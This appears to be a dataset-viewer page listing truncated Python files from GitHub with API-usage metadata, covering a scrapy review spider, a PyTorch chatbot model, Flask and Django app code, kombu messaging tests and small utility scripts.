# or not os.path.isfile("DC_STGCN/data/node_values_alpha.n... | oscarcrowley1/thesis | interpret_csv_bravoplus/make_bravoplus_tensor.py | make_bravoplus_tensor.py | py | 2,378 | python | en | code | 2 | github-code | 6 | [
{
"api_name": "zipfile.ZipFile",
"line_number": 12,
"usage_type": "call"
},
{
"api_name": "numpy.load",
"line_number": 15,
"usage_type": "call"
},
{
"api_name": "numpy.float32",
"line_number": 16,
"usage_type": "attribute"
},
{
"api_name": "zipfile.ZipFile",
"... |
38902490932 | import scrapy
from sanic.log import logger
reviews_tag_identifier = "//span[@data-hook='review-body']/span/text()"
next_page_tag_identifier = "//li[@class='a-last']/a/@href"
class AmazonSpider(scrapy.Spider):
name = 'amazon_spider'
allowed_domains = ['amazon.in']
def __init__(self, name=None, uid=None, ... | Mahi-developer/review-analyzer | app/scrapper/spiders/amazon_spider.py | amazon_spider.py | py | 1,683 | python | en | code | 0 | github-code | 6 | [
{
"api_name": "scrapy.Spider",
"line_number": 8,
"usage_type": "attribute"
},
{
"api_name": "sanic.log.logger.warning",
"line_number": 15,
"usage_type": "call"
},
{
"api_name": "sanic.log.logger",
"line_number": 15,
"usage_type": "name"
},
{
"api_name": "sanic.log... |
27661384502 | import torch
import torch.nn as nn
import torch.nn.functional as F
import random
from base import BaseModel
class Encoder(nn.Module):
def __init__(self, embedding, hidden_size, rnn_cell='GRU', bidirectional=False, n_layers=1, dropout=0.0, device='cpu'):
super(Encoder, self).__init__()
self.hidden_... | vincent861223/ChatBot | model/model.py | model.py | py | 7,730 | python | en | code | 0 | github-code | 6 | [
{
"api_name": "torch.nn.Module",
"line_number": 8,
"usage_type": "attribute"
},
{
"api_name": "torch.nn",
"line_number": 8,
"usage_type": "name"
},
{
"api_name": "torch.nn.Embedding",
"line_number": 22,
"usage_type": "call"
},
{
"api_name": "torch.nn",
"line_n... |
2534597571 | import copy
import json
import os
import time
from flask import Blueprint, request, Response
import pm4py
from pm4py.algo.filtering.log.attributes import attributes_filter
from pm4py.objects.conversion.process_tree.converter import to_petri_net_transition_bordered as converter
from pm4py.visualization.common.utils imp... | luisfsts/KPIAlgebras | KPIAlgebras/rest/endpoints.py | endpoints.py | py | 7,463 | python | en | code | 0 | github-code | 6 | [
{
"api_name": "flask.Blueprint",
"line_number": 24,
"usage_type": "call"
},
{
"api_name": "time.perf_counter",
"line_number": 36,
"usage_type": "call"
},
{
"api_name": "flask.request.files",
"line_number": 38,
"usage_type": "attribute"
},
{
"api_name": "flask.requ... |
18699671015 | from django.urls import path
from posting.views import (
PostingView,
CategoryView,
PostingLikeView,
PostingScrapView
)
urlpatterns = [
path('', PostingView.as_view()),
path('/category', CategoryView.as_view()),
path('/like', PostingLikeView.as_view()),
path('/scrap', PostingScrapVi... | wecode-bootcamp-korea/17-1st-SweetHome-backend | posting/urls.py | urls.py | py | 336 | python | en | code | 3 | github-code | 6 | [
{
"api_name": "django.urls.path",
"line_number": 11,
"usage_type": "call"
},
{
"api_name": "posting.views.PostingView.as_view",
"line_number": 11,
"usage_type": "call"
},
{
"api_name": "posting.views.PostingView",
"line_number": 11,
"usage_type": "name"
},
{
"api_... |
8267902176 | from __future__ import annotations
import pickle
import sys
from collections import defaultdict
from unittest.mock import Mock, patch
import pytest
from kombu import Connection, Consumer, Exchange, Producer, Queue
from kombu.exceptions import MessageStateError
from kombu.utils import json
from kombu.utils.functional... | celery/kombu | t/unit/test_messaging.py | test_messaging.py | py | 24,481 | python | en | code | 2,643 | github-code | 6 | [
{
"api_name": "kombu.Exchange",
"line_number": 20,
"usage_type": "call"
},
{
"api_name": "kombu.Connection",
"line_number": 21,
"usage_type": "call"
},
{
"api_name": "t.mocks.Transport",
"line_number": 21,
"usage_type": "name"
},
{
"api_name": "kombu.Producer",
... |
70285709629 | from __future__ import absolute_import
import os
from setuptools import setup, find_packages
# Utility function to read the README file.
# Used for the long_description. It's nice, because now 1) we have a top level
# README file and 2) it's easier to type in the README file than to put a raw
# string in below ...
de... | timknip/pyswf | setup.py | setup.py | py | 982 | python | en | code | 154 | github-code | 6 | [
{
"api_name": "os.path.join",
"line_number": 10,
"usage_type": "call"
},
{
"api_name": "os.path",
"line_number": 10,
"usage_type": "attribute"
},
{
"api_name": "os.path.dirname",
"line_number": 10,
"usage_type": "call"
},
{
"api_name": "setuptools.setup",
"lin... |
33222746920 | from tqdm import tqdm
# Define constant
SHORT = 15
MIDDLE = 30
LARGE = 50
def __clear__(times: int = 11, length: int = 123):
"""
Clear the previous table toward the terminal
"""
print()
for i in range(times + 1):
if i != times:
print("\033[F" + ' ' * length, end='')
... | SunnerLi/tqdm_table | tqdm_table/__init__.py | __init__.py | py | 4,733 | python | en | code | 0 | github-code | 6 | [
{
"api_name": "tqdm.tqdm",
"line_number": 48,
"usage_type": "name"
}
] |
32100438574 | from sklearn.datasets import load_breast_cancer
from sklearn.datasets import load_wine
from E2 import sammon
from E1 import bkmeans
from sklearn.decomposition import PCA
from sklearn.manifold import TSNE
import matplotlib.pyplot as plt
import numpy as np
from sklearn.cluster import KMeans
from scipy.cluster.hierarchy i... | Knoz9/ML-A3-A4 | km222ug_A4/E3.py | E3.py | py | 3,231 | python | en | code | 0 | github-code | 6 | [
{
"api_name": "matplotlib.pyplot.subplots",
"line_number": 18,
"usage_type": "call"
},
{
"api_name": "matplotlib.pyplot",
"line_number": 18,
"usage_type": "name"
},
{
"api_name": "sklearn.datasets.load_breast_cancer",
"line_number": 22,
"usage_type": "call"
},
{
"... |
40851164655 | from django.db import models
from django.contrib.auth.models import AbstractUser
# Create your models here.
from django.dispatch import receiver
from rest_framework.authtoken.models import Token
from django.db.models.signals import post_save
from django.conf import settings
class User(AbstractUser):
is_teacher = mod... | ali7070droid/doubts-app | myapp/models.py | models.py | py | 1,197 | python | en | code | 0 | github-code | 6 | [
{
"api_name": "django.contrib.auth.models.AbstractUser",
"line_number": 10,
"usage_type": "name"
},
{
"api_name": "django.db.models.BooleanField",
"line_number": 11,
"usage_type": "call"
},
{
"api_name": "django.db.models",
"line_number": 11,
"usage_type": "name"
},
{... |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.